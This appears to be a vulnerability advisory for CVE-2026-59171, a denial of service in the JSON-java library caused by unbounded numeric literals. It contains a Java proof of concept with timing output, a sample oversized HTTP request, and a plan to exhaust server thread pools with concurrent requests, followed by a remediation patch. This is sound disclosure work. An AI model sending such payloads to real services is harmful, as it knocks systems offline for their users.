CVE-2026-59171

ADVISORY - github

Summary

1. Executive Summary

JSON-java version 20260522 contains an unguarded path from an HTTP request body to unbounded BigInteger and BigDecimal construction. JSONTokener.nextSimpleValue() accumulates numeric characters into a StringBuilder with no length cap, then passes the full string to JSONObject.stringToNumber(), which calls new BigInteger(val) or new BigDecimal(val) directly. Both constructors have polynomial time complexity (O(n^1.585) for BigInteger).

A 488 KB JSON body — well within nginx's default 1 MB body-size limit — contains a 500,000-digit numeric literal that blocks the handling thread for approximately 3 seconds. Spring Boot has no default size limit for application/json request bodies. No parser configuration option (withStrictMode, withKeepStrings) prevents this. All three primary entry points are affected: new JSONObject(String), new JSONArray(String), and XML.toJSONObject(String).

This vulnerability is distinct from CVE-2023-5072 (which addressed StackOverflowError from deeply nested JSON structures via a try/catch in nextValue()) and from CVE-2022-45688 (which addressed recursive XML nesting depth). The numeric string length issue has been present since BigInteger support was introduced in release 20150729 and has never been fixed in any subsequent release.

Attack Complexity is rated High because successful exploitation requires the target application to be using org.json specifically (rather than the default Jackson library used by Spring Boot), and requires the developer to have explicitly passed user-controlled input to new JSONObject() or equivalent. These are deployment conditions beyond the attacker's control. See Section 6 for the full CVSS rationale and Section 8 for the comparison with Jackson's treatment of the same issue class.

This vulnerability was reproduced locally against json-20260522.jar with full evidence provided below.


2. Vulnerability Description

JSONTokener.nextSimpleValue() accumulates characters into a StringBuilder with no length limit until it hits a structural JSON character:

JSONTokener.java:500–504:

StringBuilder sb = new StringBuilder();
while (c >= ' ' && ",:]}/\\\"[{;=#".indexOf(c) < 0) {
    sb.append(c);     // unbounded — no length check
    c = this.next();
}

The accumulated string is passed to JSONObject.stringToValue() → stringToNumber(), which calls new BigInteger(val) with zero size guard:

JSONObject.java:2738:

BigInteger bi = new BigInteger(val);   // val can be arbitrarily large; no guard

BigInteger(String) has O(n^1.585) time complexity due to its internal Karatsuba multiplication during construction. A 100,000-digit input takes ~120 ms; a 1,000,000-digit input takes ~12 seconds. The decimal path (new BigDecimal(val), reached when the string contains a . or exponent) is equally affected.

No configuration option prevents this. withStrictMode(true) and withKeepStrings(true) are not checked in the nextSimpleValue() → stringToNumber() call chain. Confirmed by execution: both options still produce BigInteger in ~120 ms for a 100K-digit input.

Relationship to CVE-2023-5072: CVE-2023-5072 (fixed in release 20231013) catches StackOverflowError thrown by deeply nested JSON structures ({[ brackets) inside nextValue():

} catch (StackOverflowError e) {
    throw new JSONException("JSON Array or Object depth too large to process.", e);
}

This fix is in nextValue() and covers only recursive object/array structure depth. It has no effect on the numeric string length path in nextSimpleValue() → stringToNumber(). The BigInteger length issue was not addressed in 20231013 or in any subsequent release.


3. Affected Code Locations

File Lines Description
JSONTokener.java 500–504 nextSimpleValue() — unbounded character accumulation into StringBuilder, no length cap
JSONObject.java 2721–2748 stringToNumber() — new BigInteger(val) / new BigDecimal(val) called directly with no length guard

4. Proof of Concept (Locally Verified)

4.1 POC Code

import org.json.*;

public class Poc2NumericDoSv2 {
    public static void main(String[] args) {
        System.out.println("=== CVE-002: JSONTokener Unbounded Numeric String DoS ===");

        // Scaling: timing at different digit counts
        System.out.println("\n-- Unquoted numeric literal (JSONObject) --");
        int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};
        for (int numLen : sizes) {
            String payload = "{\"x\":" + "9".repeat(numLen) + "}";
            long start = System.currentTimeMillis();
            JSONObject jo = new JSONObject(payload);
            long elapsed = System.currentTimeMillis() - start;
            System.out.printf("  %,7d digits (~%3d KB): %,5d ms  type=%s%n",
                numLen, payload.length()/1024, elapsed, jo.get("x").getClass().getSimpleName());
        }

        // All affected entry points
        System.out.println("\n-- All affected entry points (100K digits) --");
        String p = "9".repeat(100_000);
        long t;
        t = System.currentTimeMillis(); new JSONObject("{\"n\":" + p + "}");
        System.out.println("  new JSONObject(String):     " + (System.currentTimeMillis()-t) + " ms");
        t = System.currentTimeMillis(); new JSONArray("[" + p + "]");
        System.out.println("  new JSONArray(String):      " + (System.currentTimeMillis()-t) + " ms");
        t = System.currentTimeMillis(); XML.toJSONObject("<r>" + p + "</r>");
        System.out.println("  XML.toJSONObject(String):   " + (System.currentTimeMillis()-t) + " ms");

        // No configuration option prevents the DoS
        System.out.println("\n-- Configuration bypass attempts (100K digits) --");
        String payload100k = "{\"n\":" + p + "}";
        t = System.currentTimeMillis();
        new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));
        System.out.println("  withStrictMode(true):       " + (System.currentTimeMillis()-t) + " ms  [no protection]");
        t = System.currentTimeMillis();
        new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));
        System.out.println("  withKeepStrings(true):      " + (System.currentTimeMillis()-t) + " ms  [no protection]");

        System.out.println("\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.");
    }
}

4.2 Actual Execution Evidence (Reproduced Against json-20260522.jar)

=== CVE-002: JSONTokener Unbounded Numeric String DoS ===

-- Unquoted numeric literal (JSONObject) --
   10,000 digits (~  9 KB):    17 ms  type=BigInteger
  100,000 digits (~ 97 KB):   123 ms  type=BigInteger
  200,000 digits (~195 KB):   479 ms  type=BigInteger
  500,000 digits (~488 KB): 2,975 ms  type=BigInteger
  1,000,000 digits (~976 KB): 11,909 ms  type=BigInteger

-- All affected entry points (100K digits) --
  new JSONObject(String):     121 ms
  new JSONArray(String):      120 ms
  XML.toJSONObject(String):   123 ms

-- Configuration bypass attempts (100K digits) --
  withStrictMode(true):       121 ms  [no protection]
  withKeepStrings(true):      124 ms  [no protection]

RESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.

Key observations:

  • All three primary entry points (JSONObject, JSONArray, XML.toJSONObject) are equally affected
  • Neither withStrictMode(true) nor withKeepStrings(true) reduces the delay
  • A 488 KB payload produces a ~3 second thread blockage
  • Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))

5. Attack Scenarios

5.1 Thread-Pool Exhaustion via Concurrent Requests

A Java web application that explicitly uses org.json for request body parsing exposes a JSON endpoint. The developer parses the request body with new JSONObject(requestBody).

Single attack request:

POST /api/order HTTP/1.1
Host: target.example.com
Content-Type: application/json
Content-Length: 500011

{"amount":999...999}   (500,000 nines — ~488 KB body)

Effect: This single request occupies one Tomcat thread for ~3 seconds. To exhaust a default 200-thread Tomcat pool, the attacker sends 200 concurrent such requests — a total of ~95 MB of concurrent traffic (200 × 488 KB), achievable with any standard load-generation tool (ab, wrk, hey). While those threads are occupied, legitimate user requests queue and time out.

Why common defaults do not prevent this:

  • nginx default client_max_body_size = 1 MB → 488 KB payload passes through
  • Spring Boot has no default size limit for application/json @RequestBody (Tomcat's maxPostSize applies only to application/x-www-form-urlencoded and multipart/form-data, not to JSON)
  • No configuration option within org.json itself provides any protection

5.2 Amplification Ratio

The blocking time grows super-linearly with payload size, creating an asymmetric attack:

Payload size Thread blockage Ratio (ms per KB sent)
9 KB (10K digits) 17 ms 1.9 ms/KB
97 KB (100K digits) 123 ms 1.3 ms/KB
195 KB (200K digits) 479 ms 2.5 ms/KB
488 KB (500K digits) ~2,975 ms 6.1 ms/KB
976 KB (1M digits) ~11,909 ms 12.2 ms/KB

A 488 KB request — well within nginx's 1 MB default — ties up a server thread for 3 seconds. The ratio of CPU time consumed to bytes sent grows with payload size due to Karatsuba's super-linear complexity.

5.3 All Primary Entry Points Are Affected

The vulnerability is not limited to new JSONObject(String). Any org.json parsing call on the same numeric input produces the same delay:

new JSONObject(String):     121 ms  (for 100K digits)
new JSONArray(String):      120 ms  (for 100K digits)
XML.toJSONObject(String):   123 ms  (for 100K digits)

Any endpoint that parses user-controlled JSON or XML through org.json is a potential target, regardless of which specific API method is used.


7. Remediation

Primary fix — nextSimpleValue() in JSONTokener.java:

Add a numeric token length cap in the accumulation loop, configurable via JSONParserConfiguration. The guard must fire before the string is passed to stringToNumber():

// In JSONTokener.nextSimpleValue(), inside the while loop (line 501):
if (sb.length() > jsonParserConfiguration.getMaxNumberLength()) {
    throw this.syntaxError("Numeric literal exceeds maximum allowed length of "
        + jsonParserConfiguration.getMaxNumberLength());
}

Expose the limit in JSONParserConfiguration:

private int maxNumberLength = 1_000;  // matches Jackson's DEFAULT_MAX_NUM_LEN

public JSONParserConfiguration withMaxNumberLength(int maxNumberLength) {
    JSONParserConfiguration newConfig = this.clone();
    newConfig.maxNumberLength = maxNumberLength;
    return newConfig;
}
public int getMaxNumberLength() { return this.maxNumberLength; }

A safe default of 1,000 characters matches the StreamReadConstraints.DEFAULT_MAX_NUM_LEN value introduced in Jackson 2.15 (released April 2023) specifically to address this class of vulnerability. org.json has no equivalent protection as of version 20260522.

Defense-in-depth (application-level): Configure an upstream body size limit independent of any library fix. For nginx: client_max_body_size 64k;. For Spring Boot: register a CommonsRequestLoggingFilter or a OncePerRequestFilter that caps Content-Length before the body reaches the controller. These measures reduce the maximum achievable digit count but do not eliminate the root cause and should not be treated as a substitute for a library-level fix.


8. Comparison with Jackson's Treatment of the Same Issue

Jackson 2.15.0 (released April 2023) introduced StreamReadConstraints.withMaxNumberLength() with a default limit of 1,000 digits to address this exact class of vulnerability — and did so without a CVE being filed. This raises a legitimate question: if the Jackson ecosystem handled the same issue without a CVE, why does org.json warrant one?

The two situations are materially different in three ways:

1. Jackson's fix was universal and automatic; org.json's omission is not.

Jackson is the default JSON library in Spring Boot. When Jackson 2.15 shipped with DEFAULT_MAX_NUM_LEN = 1000, the protection was automatically applied to the entire Spring Boot ecosystem without any developer action. Every Spring Boot application upgrading to Spring Boot 3.1+ received the protection transparently.

org.json has no equivalent protection in any version through 20260522. Applications using org.json receive no protection from any upstream fix and have no configurable option to enable it. There is no automatic upgrade path.

2. org.json has an established CVE precedent for the same DoS class.

This project has already been assigned CVEs for resource-exhaustion vulnerabilities triggered by crafted parsing input:

  • CVE-2022-45688: XML recursive nesting DoS
  • CVE-2023-5072: JSON nested {[ structure DoS

Both were assigned under the same root pattern: parser accepts unbounded user-controlled input, resulting in resource exhaustion. The numeric string length issue is the same pattern in the same library, in a code path that the two prior fixes explicitly left unaddressed. Treating this as a non-CVE while the two structurally identical prior issues were assigned CVEs would be inconsistent.

3. RFC 8259 explicitly permits — and implicitly recommends — setting limits on number length.

RFC 8259 §6 states: "This specification allows implementations to set limits on the range and precision of numbers accepted." The RFC anticipates that secure implementations will impose such limits. org.json's NOTES.md acknowledges only "partial support" for BigInteger/BigDecimal, but provides no size guard and no documentation warning users of the DoS risk. The absence of a documented security boundary in the presence of an RFC-permitted and industry-standard protection mechanism constitutes an exploitable implementation deficiency.


9. Relationship to Prior CVEs

CVE Fixed In Root Cause Code Path Fix Applied
CVE-2022-45688 20230227 XML recursive nesting → StackOverflow in XML.parse() XML.java recursive parse() calls Added maxNestingDepth parameter (default 512) in ParserConfiguration
CVE-2023-5072 20231013 JSON nested {[ structures → StackOverflowError in nextValue() JSONTokener.nextValue() → recursive new JSONObject() / new JSONArray() Added catch (StackOverflowError e) in nextValue()
This report Unfixed Unbounded numeric string → O(n^1.585) BigInteger/BigDecimal construction nextSimpleValue() → stringToNumber() → new BigInteger(val) None

The three issues share the "resource exhaustion during parsing" symptom but have entirely separate root causes, code paths, and fixes. Neither prior CVE provides any protection against numeric string length attacks.

EPSS Score⁠: 0.00552 (0.464)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Uncontrolled Resource Consumption

Allocation of Resources Without Limits or Throttling

ADVISORY - github

Uncontrolled Resource Consumption

Allocation of Resources Without Limits or Throttling


NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

5.9medium

GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

5.9medium